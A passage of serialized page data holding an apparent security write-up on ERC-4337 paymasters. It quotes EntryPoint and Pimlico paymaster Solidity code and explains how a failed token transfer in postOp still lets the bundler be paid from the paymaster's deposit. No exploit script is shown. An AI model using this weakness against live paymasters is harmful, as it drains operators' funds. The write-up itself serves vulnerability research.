mUserOp.sender;\n",{"type":23,"tag":141,"props":104908,"children":104909},{"class":143,"line":801},[104910,104914,104918],{"type":23,"tag":141,"props":104911,"children":104912},{"style":154},[104913],{"type":29,"value":69077},{"type":23,"tag":141,"props":104915,"children":104916},{"style":148},[104917],{"type":29,"value":1976},{"type":23,"tag":141,"props":104919,"children":104920},{"style":154},[104921],{"type":29,"value":1951},{"type":23,"tag":141,"props":104923,"children":104924},{"class":143,"line":810},[104925,104929,104933],{"type":23,"tag":141,"props":104926,"children":104927},{"style":154},[104928],{"type":29,"value":104897},{"type":23,"tag":141,"props":104930,"children":104931},{"style":160},[104932],{"type":29,"value":1377},{"type":23,"tag":141,"props":104934,"children":104935},{"style":154},[104936],{"type":29,"value":104937}," paymaster;\n",{"type":23,"tag":141,"props":104939,"children":104940},{"class":143,"line":824},[104941,104945,104950,104954,104958],{"type":23,"tag":141,"props":104942,"children":104943},{"style":148},[104944],{"type":29,"value":102005},{"type":23,"tag":141,"props":104946,"children":104947},{"style":154},[104948],{"type":29,"value":104949}," (context.length ",{"type":23,"tag":141,"props":104951,"children":104952},{"style":160},[104953],{"type":29,"value":9142},{"type":23,"tag":141,"props":104955,"children":104956},{"style":472},[104957],{"type":29,"value":1707},{"type":23,"tag":141,"props":104959,"children":104960},{"style":154},[104961],{"type":29,"value":13480},{"type":23,"tag":141,"props":104963,"children":104964},{"class":143,"line":839},[104965,104970,104974,104978,104982],{"type":23,"tag":141,"props":104966,"children":104967},{"style":154},[104968],{"type":29,"value":104969}," actualGasCost ",{"type":23,"tag":141,"props":104971,"children":104972},{"style":160},[104973],{"type":29,"value":1377},{"type":23,"tag":141,"props":104975,"children":104976},{"style":154},[104977],{"type":29,"value":103777},{"type":23,"tag":141,"props":104979,"children":104980},{"style":160},[104981],{"type":29,"value":197},{"type":23,"tag":141,"props":104983,"children":104984},{"style":154},[104985],{"type":29,"value":104986}," gasPrice;\n",{"type":23,"tag":141,"props":104988,"children":104989},{"class":143,"line":848},[104990,104994,104999,105003,105007],{"type":23,"tag":141,"props":104991,"children":104992},{"style":725},[104993],{"type":29,"value":101962},{"type":23,"tag":141,"props":104995,"children":104996},{"style":154},[104997],{"type":29,"value":104998}," postOpPreGas ",{"type":23,"tag":141,"props":105000,"children":105001},{"style":160},[105002],{"type":29,"value":1377},{"type":23,"tag":141,"props":105004,"children":105005},{"style":449},[105006],{"type":29,"value":103795},{"type":23,"tag":141,"props":105008,"children":105009},{"style":154},[105010],{"type":29,"value":1305},{"type":23,"tag":141,"props":105012,"children":105013},{"class":143,"line":2304},[105014,105019,105024,105028],{"type":23,"tag":141,"props":105015,"children":105016},{"style":148},[105017],{"type":29,"value":105018}," if",{"type":23,"tag":141,"props":105020,"children":105021},{"style":154},[105022],{"type":29,"value":105023}," (mode ",{"type":23,"tag":141,"props":105025,"children":105026},{"style":160},[105027],{"type":29,"value":14364},{"type":23,"tag":141,"props":105029,"children":105030},{"style":154},[105031],{"type":29,"value":105032}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":141,"props":105034,"children":105035},{"class":143,"line":2313},[105036,105041,105046],{"type":23,"tag":141,"props":105037,"children":105038},{"style":148},[105039],{"type":29,"value":105040}," try",{"type":23,"tag":141,"props":105042,"children":105043},{"style":184},[105044],{"type":29,"value":105045}," IPaymaster",{"type":23,"tag":141,"props":105047,"children":105048},{"style":154},[105049],{"type":29,"value":105050},"(paymaster).postOp{\n",{"type":23,"tag":141,"props":105052,"children":105053},{"class":143,"line":2335},[105054,105059,105063],{"type":23,"tag":141,"props":105055,"children":105056},{"style":154},[105057],{"type":29,"value":105058}," gas",{"type":23,"tag":141,"props":105060,"children":105061},{"style":160},[105062],{"type":29,"value":114},{"type":23,"tag":141,"props":105064,"children":105065},{"style":154},[105066],{"type":29,"value":105067}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":141,"props":105069,"children":105070},{"class":143,"line":2343},[105071],{"type":23,"tag":141,"props":105072,"children":105073},{"style":154},[105074],{"type":29,"value":105075}," }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":141,"props":105077,"children":105078},{"class":143,"line":2352},[105079,105084,105089],{"type":23,"tag":141,"props":105080,"children":105081},{"style":443},[105082],{"type":29,"value":105083}," // ",{"type":23,"tag":141,"props":105085,"children":105086},{"style":449},[105087],{"type":29,"value":105088},"solhint-disable",{"type":23,"tag":141,"props":105090,"children":105091},{"style":443},[105092],{"type":29,"value":105093},"-next-line no-empty-blocks\n",{"type":23,"tag":141,"props":105095,"children":105096},{"class":143,"line":2421},[105097,105102,105106],{"type":23,"tag":141,"props":105098,"children":105099},{"style":154},[105100],{"type":29,"value":105101}," {} ",{"type":23,"tag":141,"props":105103,"children":105104},{"style":148},[105105],{"type":29,"value":46889},{"type":23,"tag":141,"props":105107,"children":105108},{"style":154},[105109],{"type":29,"value":1951},{"type":23,"tag":141,"props":105111,"children":105112},{"class":143,"line":2429},[105113,105118,105122,105127,105131,105135,105139],{"type":23,"tag":141,"props":105114,"children":105115},{"style":725},[105116],{"type":29,"value":105117}," bytes",{"type":23,"tag":141,"props":105119,"children":105120},{"style":449},[105121],{"type":29,"value":101565},{"type":23,"tag":141,"props":105123,"children":105124},{"style":154},[105125],{"type":29,"value":105126}," reason ",{"type":23,"tag":141,"props":105128,"children":105129},{"style":160},[105130],{"type":29,"value":1377},{"type":23,"tag":141,"props":105132,"children":105133},{"style":154},[105134],{"type":29,"value":104336},{"type":23,"tag":141,"props":105136,"children":105137},{"style":184},[105138],{"type":29,"value":104427},{"type":23,"tag":141,"props":105140,"children":105141},{"style":154},[105142],{"type":29,"value":104432},{"type":23,"tag":141,"props":105144,"children":105145},{"class":143,"line":2459},[105146,105151,105156],{"type":23,"tag":141,"props":105147,"children":105148},{"style":148},[105149],{"type":29,"value":105150}," revert",{"type":23,"tag":141,"props":105152,"children":105153},{"style":184},[105154],{"type":29,"value":105155}," PostOpReverted",{"type":23,"tag":141,"props":105157,"children":105158},{"style":154},[105159],{"type":29,"value":105160},"(reason);\n",{"type":23,"tag":141,"props":105162,"children":105163},{"class":143,"line":2467},[105164],{"type":23,"tag":141,"props":105165,"children":105166},{"style":154},[105167],{"type":29,"value":69461},{"type":23,"tag":141,"props":105169,"children":105170},{"class":143,"line":2499},[105171],{"type":23,"tag":141,"props":105172,"children":105173},{"style":154},[105174],{"type":29,"value":69546},{"type":23,"tag":141,"props":105176,"children":105177},{"class":143,"line":2507},[105178],{"type":23,"tag":141,"props":105179,"children":105180},{"style":443},[105181],{"type":29,"value":105182}," // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":141,"props":105184,"children":105185},{"class":143,"line":2567},[105186,105190,105194],{"type":23,"tag":141,"props":105187,"children":105188},{"style":443},[105189],{"type":29,"value":102027},{"type":23,"tag":141,"props":105191,"children":105192},{"style":449},[105193],{"type":29,"value":65241},{"type":23,"tag":141,"props":105195,"children":105196},{"style":443},[105197],{"type":29,"value":105198}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":141,"props":105200,"children":105201},{"class":143,"line":7724},[105202,105206,105211,105215,105219,105223,105227],{"type":23,"tag":141,"props":105203,"children":105204},{"style":725},[105205],{"type":29,"value":101962},{"type":23,"tag":141,"props":105207,"children":105208},{"style":154},[105209],{"type":29,"value":105210}," postOpGasUsed ",{"type":23,"tag":141,"props":105212,"children":105213},{"style":160},[105214],{"type":29,"value":1377},{"type":23,"tag":141,"props":105216,"children":105217},{"style":154},[105218],{"type":29,"value":104998},{"type":23,"tag":141,"props":105220,"children":105221},{"style":160},[105222],{"type":29,"value":3004},{"type":23,"tag":141,"props":105224,"children":105225},{"style":449},[105226],{"type":29,"value":103795},{"type":23,"tag":141,"props":105228,"children":105229},{"style":154},[105230],{"type":29,"value":1305},{"type":23,"tag":141,"props":105232,"children":105233},{"class":143,"line":7742},[105234,105239,105243,105248],{"type":23,"tag":141,"props":105235,"children":105236},{"style":154},[105237],{"type":29,"value":105238}," postOpUnusedGasPenalty ",{"type":23,"tag":141,"props":105240,"children":105241},{"style":160},[105242],{"type":29,"value":1377},{"type":23,"tag":141,"props":105244,"children":105245},{"style":184},[105246],{"type":29,"value":105247}," _getUnusedGasPenalty",{"type":23,"tag":141,"props":105249,"children":105250},{"style":154},[105251],{"type":29,"value":105252},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":141,"props":105254,"children":105255},{"class":143,"line":7787},[105256],{"type":23,"tag":141,"props":105257,"children":105258},{"style":154},[105259],{"type":29,"value":69554},{"type":23,"tag":141,"props":105261,"children":105262},{"class":143,"line":7893},[105263],{"type":23,"tag":141,"props":105264,"children":105265},{"style":154},[105266],{"type":29,"value":57365},{"type":23,"tag":141,"props":105268,"children":105269},{"class":143,"line":22181},[105270],{"type":23,"tag":141,"props":105271,"children":105272},{"style":154},[105273],{"type":29,"value":103286},{"type":23,"tag":141,"props":105275,"children":105276},{"class":143,"line":22216},[105277],{"type":23,"tag":141,"props":105278,"children":105279},{"style":154},[105280],{"type":29,"value":299},{"type":23,"tag":32,"props":105282,"children":105283},{},[105284,105286,105291,105293,105299,105301,105307,105309,105314,105316,105321,105323,105328,105330,105335,105337,105342,105344,105349],{"type":29,"value":105285},"It turns out that if the ",{"type":23,"tag":38,"props":105287,"children":105289},{"className":105288},[],[105290],{"type":29,"value":100866},{"type":29,"value":105292}," call fails, it will revert with ",{"type":23,"tag":38,"props":105294,"children":105296},{"className":105295},[],[105297],{"type":29,"value":105298},"PostOpReverted",{"type":29,"value":105300},". However, as we can see in the previous code of ",{"type":23,"tag":38,"props":105302,"children":105304},{"className":105303},[],[105305],{"type":29,"value":105306},"_executeUserOp",{"type":29,"value":105308},", even though ",{"type":23,"tag":38,"props":105310,"children":105312},{"className":105311},[],[105313],{"type":29,"value":104008},{"type":29,"value":105315}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":38,"props":105317,"children":105319},{"className":105318},[],[105320],{"type":29,"value":104676},{"type":29,"value":105322}," call with ",{"type":23,"tag":38,"props":105324,"children":105326},{"className":105325},[],[105327],{"type":29,"value":104684},{"type":29,"value":105329}," mode, and it won't try to call ",{"type":23,"tag":38,"props":105331,"children":105333},{"className":105332},[],[105334],{"type":29,"value":100866},{"type":29,"value":105336}," again. This means the ",{"type":23,"tag":38,"props":105338,"children":105340},{"className":105339},[],[105341],{"type":29,"value":100727},{"type":29,"value":105343}," still gets paid for submitting the failed ",{"type":23,"tag":38,"props":105345,"children":105347},{"className":105346},[],[105348],{"type":29,"value":100667},{"type":29,"value":322},{"type":23,"tag":32,"props":105351,"children":105352},{},[105353,105355,105360,105362,105367,105369,105376],{"type":29,"value":105354},"Now that we understand this behavior where ",{"type":23,"tag":38,"props":105356,"children":105358},{"className":105357},[],[105359],{"type":29,"value":100866},{"type":29,"value":105361}," is allowed to fail while the ",{"type":23,"tag":38,"props":105363,"children":105365},{"className":105364},[],[105366],{"type":29,"value":100727},{"type":29,"value":105368}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":55,"props":105370,"children":105373},{"href":105371,"rel":105372},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[59],[105374],{"type":29,"value":105375},"Pimlico",{"type":29,"value":322},{"type":23,"tag":131,"props":105378,"children":105380},{"className":432,"code":105379,"language":17,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[105381],{"type":23,"tag":38,"props":105382,"children":105383},{"__ignoreMap":7},[105384,105399,105416,105436,105452,105464,105471,105478,105485,105516,105523,105548,105556,105563,105570,105599,105606,105622,105644,105651,105667,105717,105724,105740,105748,105781,105814,105822,105829,105836,105879,105886,105935,105961,105968,105975,105992],{"type":23,"tag":141,"props":105385,"children":105386},{"class":143,"line":144},[105387,105391,105395],{"type":23,"tag":141,"props":105388,"children":105389},{"style":449},[105390],{"type":29,"value":88316},{"type":23,"tag":141,"props":105392,"children":105393},{"style":184},[105394],{"type":29,"value":102268},{"type":23,"tag":141,"props":105396,"children":105397},{"style":154},[105398],{"type":29,"value":2123},{"type":23,"tag":141,"props":105400,"children":105401},{"class":143,"line":180},[105402,105407,105411],{"type":23,"tag":141,"props":105403,"children":105404},{"style":449},[105405],{"type":29,"value":105406}," PostOpMode",{"type":23,"tag":141,"props":105408,"children":105409},{"style":154},[105410],{"type":29,"value":480},{"type":23,"tag":141,"props":105412,"children":105413},{"style":443},[105414],{"type":29,"value":105415},"/* mode */\n",{"type":23,"tag":141,"props":105417,"children":105418},{"class":143,"line":205},[105419,105423,105427,105432],{"type":23,"tag":141,"props":105420,"children":105421},{"style":725},[105422],{"type":29,"value":104184},{"type":23,"tag":141,"props":105424,"children":105425},{"style":449},[105426],{"type":29,"value":101497},{"type":23,"tag":141,"props":105428,"children":105429},{"style":750},[105430],{"type":29,"value":105431}," _context",{"type":23,"tag":141,"props":105433,"children":105434},{"style":154},[105435],{"type":29,"value":2168},{"type":23,"tag":141,"props":105437,"children":105438},{"class":143,"line":218},[105439,105443,105448],{"type":23,"tag":141,"props":105440,"children":105441},{"style":725},[105442],{"type":29,"value":88494},{"type":23,"tag":141,"props":105444,"children":105445},{"style":750},[105446],{"type":29,"value":105447}," _actualGasCost",{"type":23,"tag":141,"props":105449,"children":105450},{"style":154},[105451],{"type":29,"value":2168},{"type":23,"tag":141,"props":105453,"children":105454},{"class":143,"line":227},[105455,105459],{"type":23,"tag":141,"props":105456,"children":105457},{"style":725},[105458],{"type":29,"value":88494},{"type":23,"tag":141,"props":105460,"children":105461},{"style":750},[105462],{"type":29,"value":105463}," _actualUserOpFeePerGas\n",{"type":23,"tag":141,"props":105465,"children":105466},{"class":143,"line":241},[105467],{"type":23,"tag":141,"props":105468,"children":105469},{"style":154},[105470],{"type":29,"value":22602},{"type":23,"tag":141,"props":105472,"children":105473},{"class":143,"line":262},[105474],{"type":23,"tag":141,"props":105475,"children":105476},{"style":449},[105477],{"type":29,"value":101536},{"type":23,"tag":141,"props":105479,"children":105480},{"class":143,"line":271},[105481],{"type":23,"tag":141,"props":105482,"children":105483},{"style":154},[105484],{"type":29,"value":224},{"type":23,"tag":141,"props":105486,"children":105487},{"class":143,"line":293},[105488,105493,105497,105502,105506,105511],{"type":23,"tag":141,"props":105489,"children":105490},{"style":154},[105491],{"type":29,"value":105492}," ERC20PostOpContext ",{"type":23,"tag":141,"props":105494,"children":105495},{"style":449},[105496],{"type":29,"value":74457},{"type":23,"tag":141,"props":105498,"children":105499},{"style":154},[105500],{"type":29,"value":105501}," ctx ",{"type":23,"tag":141,"props":105503,"children":105504},{"style":160},[105505],{"type":29,"value":1377},{"type":23,"tag":141,"props":105507,"children":105508},{"style":184},[105509],{"type":29,"value":105510}," _parsePostOpContext",{"type":23,"tag":141,"props":105512,"children":105513},{"style":154},[105514],{"type":29,"value":105515},"(_context);\n",{"type":23,"tag":141,"props":105517,"children":105518},{"class":143,"line":801},[105519],{"type":23,"tag":141,"props":105520,"children":105521},{"emptyLinePlaceholder":15},[105522],{"type":29,"value":719},{"type":23,"tag":141,"props":105524,"children":105525},{"class":143,"line":810},[105526,105530,105535,105539,105544],{"type":23,"tag":141,"props":105527,"children":105528},{"style":725},[105529],{"type":29,"value":88494},{"type":23,"tag":141,"props":105531,"children":105532},{"style":154},[105533],{"type":29,"value":105534}," expectedPenaltyGasCost ",{"type":23,"tag":141,"props":105536,"children":105537},{"style":160},[105538],{"type":29,"value":1377},{"type":23,"tag":141,"props":105540,"children":105541},{"style":184},[105542],{"type":29,"value":105543}," _expectedPenaltyGasCost",{"type":23,"tag":141,"props":105545,"children":105546},{"style":154},[105547],{"type":29,"value":2123},{"type":23,"tag":141,"props":105549,"children":105550},{"class":143,"line":824},[105551],{"type":23,"tag":141,"props":105552,"children":105553},{"style":154},[105554],{"type":29,"value":105555}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":141,"props":105557,"children":105558},{"class":143,"line":839},[105559],{"type":23,"tag":141,"props":105560,"children":105561},{"style":154},[105562],{"type":29,"value":6418},{"type":23,"tag":141,"props":105564,"children":105565},{"class":143,"line":848},[105566],{"type":23,"tag":141,"props":105567,"children":105568},{"emptyLinePlaceholder":15},[105569],{"type":29,"value":719},{"type":23,"tag":141,"props":105571,"children":105572},{"class":143,"line":2304},[105573,105577,105581,105585,105590,105594],{"type":23,"tag":141,"props":105574,"children":105575},{"style":725},[105576],{"type":29,"value":88494},{"type":23,"tag":141,"props":105578,"children":105579},{"style":154},[105580],{"type":29,"value":102592},{"type":23,"tag":141,"props":105582,"children":105583},{"style":160},[105584],{"type":29,"value":1377},{"type":23,"tag":141,"props":105586,"children":105587},{"style":154},[105588],{"type":29,"value":105589}," _actualGasCost ",{"type":23,"tag":141,"props":105591,"children":105592},{"style":160},[105593],{"type":29,"value":3058},{"type":23,"tag":141,"props":105595,"children":105596},{"style":154},[105597],{"type":29,"value":105598}," expectedPenaltyGasCost;\n",{"type":23,"tag":141,"props":105600,"children":105601},{"class":143,"line":2313},[105602],{"type":23,"tag":141,"props":105603,"children":105604},{"emptyLinePlaceholder":15},[105605],{"type":29,"value":719},{"type":23,"tag":141,"props":105607,"children":105608},{"class":143,"line":2335},[105609,105613,105618],{"type":23,"tag":141,"props":105610,"children":105611},{"style":725},[105612],{"type":29,"value":88494},{"type":23,"tag":141,"props":105614,"children":105615},{"style":154},[105616],{"type":29,"value":105617}," costInToken ",{"type":23,"tag":141,"props":105619,"children":105620},{"style":160},[105621],{"type":29,"value":13369},{"type":23,"tag":141,"props":105623,"children":105624},{"class":143,"line":2343},[105625,105630,105635,105639],{"type":23,"tag":141,"props":105626,"children":105627},{"style":184},[105628],{"type":29,"value":105629}," getCostInToken",{"type":23,"tag":141,"props":105631,"children":105632},{"style":154},[105633],{"type":29,"value":105634},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":141,"props":105636,"children":105637},{"style":160},[105638],{"type":29,"value":3058},{"type":23,"tag":141,"props":105640,"children":105641},{"style":154},[105642],{"type":29,"value":105643}," ctx.constantFee;\n",{"type":23,"tag":141,"props":105645,"children":105646},{"class":143,"line":2352},[105647],{"type":23,"tag":141,"props":105648,"children":105649},{"emptyLinePlaceholder":15},[105650],{"type":29,"value":719},{"type":23,"tag":141,"props":105652,"children":105653},{"class":143,"line":2421},[105654,105658,105663],{"type":23,"tag":141,"props":105655,"children":105656},{"style":725},[105657],{"type":29,"value":88494},{"type":23,"tag":141,"props":105659,"children":105660},{"style":154},[105661],{"type":29,"value":105662}," absoluteCostInToken ",{"type":23,"tag":141,"props":105664,"children":105665},{"style":160},[105666],{"type":29,"value":13369},{"type":23,"tag":141,"props":105668,"children":105669},{"class":143,"line":2429},[105670,105675,105679,105684,105688,105692,105696,105700,105704,105708,105712],{"type":23,"tag":141,"props":105671,"children":105672},{"style":154},[105673],{"type":29,"value":105674}," costInToken ",{"type":23,"tag":141,"props":105676,"children":105677},{"style":160},[105678],{"type":29,"value":9142},{"type":23,"tag":141,"props":105680,"children":105681},{"style":154},[105682],{"type":29,"value":105683}," ctx.preFundCharged ",{"type":23,"tag":141,"props":105685,"children":105686},{"style":160},[105687],{"type":29,"value":1816},{"type":23,"tag":141,"props":105689,"children":105690},{"style":154},[105691],{"type":29,"value":105617},{"type":23,"tag":141,"props":105693,"children":105694},{"style":160},[105695],{"type":29,"value":3004},{"type":23,"tag":141,"props":105697,"children":105698},{"style":154},[105699],{"type":29,"value":105683},{"type":23,"tag":141,"props":105701,"children":105702},{"style":160},[105703],{"type":29,"value":114},{"type":23,"tag":141,"props":105705,"children":105706},{"style":154},[105707],{"type":29,"value":105683},{"type":23,"tag":141,"props":105709,"children":105710},{"style":160},[105711],{"type":29,"value":3004},{"type":23,"tag":141,"props":105713,"children":105714},{"style":154},[105715],{"type":29,"value":105716}," costInToken;\n",{"type":23,"tag":141,"props":105718,"children":105719},{"class":143,"line":2459},[105720],{"type":23,"tag":141,"props":105721,"children":105722},{"emptyLinePlaceholder":15},[105723],{"type":29,"value":719},{"type":23,"tag":141,"props":105725,"children":105726},{"class":143,"line":2467},[105727,105732,105736],{"type":23,"tag":141,"props":105728,"children":105729},{"style":154},[105730],{"type":29,"value":105731}," SafeTransferLib.",{"type":23,"tag":141,"props":105733,"children":105734},{"style":184},[105735],{"type":29,"value":102123},{"type":23,"tag":141,"props":105737,"children":105738},{"style":154},[105739],{"type":29,"value":2123},{"type":23,"tag":141,"props":105741,"children":105742},{"class":143,"line":2499},[105743],{"type":23,"tag":141,"props":105744,"children":105745},{"style":154},[105746],{"type":29,"value":105747}," ctx.token,\n",{"type":23,"tag":141,"props":105749,"children":105750},{"class":143,"line":2507},[105751,105755,105759,105763,105767,105772,105776],{"type":23,"tag":141,"props":105752,"children":105753},{"style":154},[105754],{"type":29,"value":105674},{"type":23,"tag":141,"props":105756,"children":105757},{"style":160},[105758],{"type":29,"value":9142},{"type":23,"tag":141,"props":105760,"children":105761},{"style":154},[105762],{"type":29,"value":105683},{"type":23,"tag":141,"props":105764,"children":105765},{"style":160},[105766],{"type":29,"value":1816},{"type":23,"tag":141,"props":105768,"children":105769},{"style":154},[105770],{"type":29,"value":105771}," ctx.sender ",{"type":23,"tag":141,"props":105773,"children":105774},{"style":160},[105775],{"type":29,"value":114},{"type":23,"tag":141,"props":105777,"children":105778},{"style":154},[105779],{"type":29,"value":105780}," ctx.treasury,\n",{"type":23,"tag":141,"props":105782,"children":105783},{"class":143,"line":2567},[105784,105788,105792,105796,105800,105805,105809],{"type":23,"tag":141,"props":105785,"children":105786},{"style":154},[105787],{"type":29,"value":105674},{"type":23,"tag":141,"props":105789,"children":105790},{"style":160},[105791],{"type":29,"value":9142},{"type":23,"tag":141,"props":105793,"children":105794},{"style":154},[105795],{"type":29,"value":105683},{"type":23,"tag":141,"props":105797,"children":105798},{"style":160},[105799],{"type":29,"value":1816},{"type":23,"tag":141,"props":105801,"children":105802},{"style":154},[105803],{"type":29,"value":105804}," ctx.treasury ",{"type":23,"tag":141,"props":105806,"children":105807},{"style":160},[105808],{"type":29,"value":114},{"type":23,"tag":141,"props":105810,"children":105811},{"style":154},[105812],{"type":29,"value":105813}," ctx.sender,\n",{"type":23,"tag":141,"props":105815,"children":105816},{"class":143,"line":7724},[105817],{"type":23,"tag":141,"props":105818,"children":105819},{"style":154},[105820],{"type":29,"value":105821}," absoluteCostInToken\n",{"type":23,"tag":141,"props":105823,"children":105824},{"class":143,"line":7742},[105825],{"type":23,"tag":141,"props":105826,"children":105827},{"style":154},[105828],{"type":29,"value":6418},{"type":23,"tag":141,"props":105830,"children":105831},{"class":143,"line":7787},[105832],{"type":23,"tag":141,"props":105833,"children":105834},{"emptyLinePlaceholder":15},[105835],{"type":29,"value":719},{"type":23,"tag":141,"props":105837,"children":105838},{"class":143,"line":7893},[105839,105843,105848,105852,105857,105861,105866,105870,105875],{"type":23,"tag":141,"props":105840,"children":105841},{"style":725},[105842],{"type":29,"value":88494},{"type":23,"tag":141,"props":105844,"children":105845},{"style":154},[105846],{"type":29,"value":105847}," preFundInToken ",{"type":23,"tag":141,"props":105849,"children":105850},{"style":160},[105851],{"type":29,"value":1377},{"type":23,"tag":141,"props":105853,"children":105854},{"style":154},[105855],{"type":29,"value":105856}," (ctx.preFund ",{"type":23,"tag":141,"props":105858,"children":105859},{"style":160},[105860],{"type":29,"value":197},{"type":23,"tag":141,"props":105862,"children":105863},{"style":154},[105864],{"type":29,"value":105865}," ctx.exchangeRate) ",{"type":23,"tag":141,"props":105867,"children":105868},{"style":160},[105869],{"type":29,"value":3255},{"type":23,"tag":141,"props":105871,"children":105872},{"style":472},[105873],{"type":29,"value":105874}," 1e18",{"type":23,"tag":141,"props":105876,"children":105877},{"style":154},[105878],{"type":29,"value":1684},{"type":23,"tag":141,"props":105880,"children":105881},{"class":143,"line":22181},[105882],{"type":23,"tag":141,"props":105883,"children":105884},{"emptyLinePlaceholder":15},[105885],{"type":29,"value":719},{"type":23,"tag":141,"props":105887,"children":105888},{"class":143,"line":22216},[105889,105893,105898,105902,105906,105910,105914,105918,105922,105926,105930],{"type":23,"tag":141,"props":105890,"children":105891},{"style":148},[105892],{"type":29,"value":233},{"type":23,"tag":141,"props":105894,"children":105895},{"style":154},[105896],{"type":29,"value":105897}," (ctx.recipient ",{"type":23,"tag":141,"props":105899,"children":105900},{"style":160},[105901],{"type":29,"value":14364},{"type":23,"tag":141,"props":105903,"children":105904},{"style":725},[105905],{"type":29,"value":4924},{"type":23,"tag":141,"props":105907,"children":105908},{"style":154},[105909],{"type":29,"value":192},{"type":23,"tag":141,"props":105911,"children":105912},{"style":472},[105913],{"type":29,"value":2698},{"type":23,"tag":141,"props":105915,"children":105916},{"style":154},[105917],{"type":29,"value":1748},{"type":23,"tag":141,"props":105919,"children":105920},{"style":160},[105921],{"type":29,"value":71680},{"type":23,"tag":141,"props":105923,"children":105924},{"style":154},[105925],{"type":29,"value":105847},{"type":23,"tag":141,"props":105927,"children":105928},{"style":160},[105929],{"type":29,"value":9142},{"type":23,"tag":141,"props":105931,"children":105932},{"style":154},[105933],{"type":29,"value":105934}," costInToken) {\n",{"type":23,"tag":141,"props":105936,"children":105937},{"class":143,"line":22224},[105938,105943,105947,105952,105956],{"type":23,"tag":141,"props":105939,"children":105940},{"style":154},[105941],{"type":29,"value":105942}," SafeTransferLib.",{"type":23,"tag":141,"props":105944,"children":105945},{"style":184},[105946],{"type":29,"value":102123},{"type":23,"tag":141,"props":105948,"children":105949},{"style":154},[105950],{"type":29,"value":105951},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":141,"props":105953,"children":105954},{"style":160},[105955],{"type":29,"value":3004},{"type":23,"tag":141,"props":105957,"children":105958},{"style":154},[105959],{"type":29,"value":105960}," costInToken);\n",{"type":23,"tag":141,"props":105962,"children":105963},{"class":143,"line":22232},[105964],{"type":23,"tag":141,"props":105965,"children":105966},{"style":154},[105967],{"type":29,"value":2008},{"type":23,"tag":141,"props":105969,"children":105970},{"class":143,"line":22241},[105971],{"type":23,"tag":141,"props":105972,"children":105973},{"emptyLinePlaceholder":15},[105974],{"type":29,"value":719},{"type":23,"tag":141,"props":105976,"children":105977},{"class":143,"line":22283},[105978,105983,105987],{"type":23,"tag":141,"props":105979,"children":105980},{"style":148},[105981],{"type":29,"value":105982}," emit",{"type":23,"tag":141,"props":105984,"children":105985},{"style":184},[105986],{"type":29,"value":102857},{"type":23,"tag":141,"props":105988,"children":105989},{"style":154},[105990],{"type":29,"value":105991},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":141,"props":105993,"children":105994},{"class":143,"line":22316},[105995],{"type":23,"tag":141,"props":105996,"children":105997},{"style":154},[105998],{"type":29,"value":299},{"type":23,"tag":32,"props":106000,"children":106001},{},[106002,106004,106009,106011,106017,106019,106025,106027,106032,106034,106039],{"type":29,"value":106003},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":38,"props":106005,"children":106007},{"className":106006},[],[106008],{"type":29,"value":102123},{"type":29,"value":106010},". Note that ",{"type":23,"tag":38,"props":106012,"children":106014},{"className":106013},[],[106015],{"type":29,"value":106016},"preFundCharged",{"type":29,"value":106018}," can be zero, as users can opt out of any ",{"type":23,"tag":38,"props":106020,"children":106022},{"className":106021},[],[106023],{"type":29,"value":106024},"preFund",{"type":29,"value":106026}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":38,"props":106028,"children":106030},{"className":106029},[],[106031],{"type":29,"value":102924},{"type":29,"value":106033}," call inside ",{"type":23,"tag":38,"props":106035,"children":106037},{"className":106036},[],[106038],{"type":29,"value":104008},{"type":29,"value":106040}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":32,"props":106042,"children":106043},{},[106044,106046,106051,106053,106059,106061,106067],{"type":29,"value":106045},"However, even when ",{"type":23,"tag":38,"props":106047,"children":106049},{"className":106048},[],[106050],{"type":29,"value":102924},{"type":29,"value":106052}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during 